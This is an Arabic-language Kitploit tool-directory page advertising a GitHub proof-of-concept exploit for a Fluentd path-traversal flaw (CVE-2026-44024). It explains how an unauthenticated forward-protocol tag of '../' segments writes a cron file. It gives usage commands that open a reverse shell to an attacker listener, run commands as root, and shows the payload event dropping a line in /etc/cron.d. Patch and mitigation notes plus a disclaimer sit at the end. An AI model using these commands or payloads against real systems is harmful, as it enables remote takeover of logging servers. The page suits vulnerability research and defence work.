Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-44024_exploit — استغلال لإثبات المفهوم لثغرة CVE-2026-44024، يستخدم tag مُصمَّمًا خصيصًا في in_forward لكتابة ملفات عشوائية عبر ثغرة اجتياز المسار في out_file الخاص بـ Fluentd وتحفيز تنفيذ الأوامر. | Kitploit
أدوات/GitHubGitHub/0xdak/cve-2026-44024_exploit
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمر
GitHub0xdak/cve-2026-44024_exploit

CVE-2026-44024_exploit

استغلال لإثبات المفهوم لثغرة CVE-2026-44024، يستخدم tag مُصمَّمًا خصيصًا في in_forward لكتابة ملفات عشوائية عبر ثغرة اجتياز المسار في out_file الخاص بـ Fluentd وتحفيز تنفيذ الأوامر.

عرض المستودع
منذ 15 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-44024 — ثغرة كتابة ملفات عشوائية عبر اجتياز المسار في Fluentd out_file ${tag}

كتابة ملفات عشوائية غير مصادق عليها في إضافة out_file الخاصة بـ Fluentd عبر العنصر النائب ${tag}.

تتيح out_file للمشغّلين قولبة مسار الإخراج باستخدام عنصر نائب ${tag} (مثل path /var/log/fluent/${tag}). يقوم Output#extract_placeholders (lib/fluent/plugin/output.rb) باستبدال وسم الحدث في المسار دون تعقيم ../ (CWE-22):

root@kitploit:~
if str.include?('${tag}')
  rvalue = rvalue.gsub('${tag}', metadata.tag)   # attacker-controlled tag, no ../ check

الأحداث القادمة عبر بروتوكول in_forward (المنفذ 24224) تحمل وسمًا مأخوذًا حرفيًا من رسالة الشبكة، وقيمة allow_anonymous_source الافتراضية هي true، لذا يمكن لمهاجم غير مصادق عليه تعيين وسم مثل ../../../../../../etc/cron.d/pwn للخروج من الدليل المُهيأ والكتابة إلى أي مسار مطلق بصلاحية مستخدم عملية fluentd.

  • متأثر: Fluentd <= 1.19.2
  • تم الإصلاح: 1.19.3 (يرفض مكونات ..//المطلقة في الوسم قبل توسيع ${tag}، PR #5391)
  • CWE: 22 (اجتياز المسار) / 94 (حقن كود عبر المحتوى المكتوب)
  • المنافذ: 24224 (forward — الناقل)، 9880 (http)
  • الأثر: كتابة ملفات عشوائية بصلاحية مستخدم fluentd ← تنفيذ كود عن بُعد (مثل سطر كرون لجذر النظام)

مهم — الناقل هو in_forward وليس in_http

يستمد in_http الوسم من مسار URL عبر path.split('/').join('.')، مما يحول كل / إلى . — لذا لا يمكن لـ ../ النجاة على Linux (و%2f لا يُفك ترميزه). فقط بروتوكول forward (24224) يمرر الوسم بايتًا ببايت. يستخدم هذا الاستغلال قدرًا كافيًا فقط من ذلك البروتوكول (رسالة msgpack [tag, time, record]) مع مشفر مدمج صغير — بلا تبعيات.

المتطلبات

مكتبة Python 3 القياسية فقط. يجب أن يشغّل الهدف Fluentd قابلًا للاستغلال مع out_file يحتوي path على ${tag}، ومصدر in_forward مجهول (الافتراضي). تحويل الكتابة إلى إسقاط كرون نظيف يفترض out_file لا يشوّه اسم الملف/المحتوى (مثل add_path_suffix false, append true, لا timekey, صيغة single_value) — وإلا استخدم الكتابة لاستبدال ملف بمسار معروف.

الاستخدام

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444). Fires via cron within ~60s.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444

# blind command as root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'

# custom forward port
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444

كيف يعمل

يرسل حدث forward ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}] إلى المنفذ 24224. يقوم out_file بتوسيع ${tag} ← /var/log/fluent/../../../../../../etc/cron.d/pwn = /etc/cron.d/pwn، ومع صيغة single_value يكتب msg الخاص بالسجل حرفيًا ← سطر كرون صالح. ينفذه cron خلال حوالي 60 ثانية بصلاحية مستخدم fluentd (الجذر عندما يعمل fluentd كجذر).

الإصلاح

قم بترقية Fluentd إلى ≥ 1.19.3؛ لا تعرض منفذ forward لشبكات غير موثوقة (فعّل مصادقة المفتاح المشترك / allow_anonymous_source false)؛ لا تشغّل fluentd كجذر؛ تجنب ${tag} في مسارات الإخراج للمدخلات غير الموثوقة.

إخلاء مسؤولية

لأغراض الاختبار الأمني المصرح به والتعليم فقط. استخدمه فقط ضد أنظمة تملكها أو لديك إذن صريح لاختبارها.

تنزيل الأداة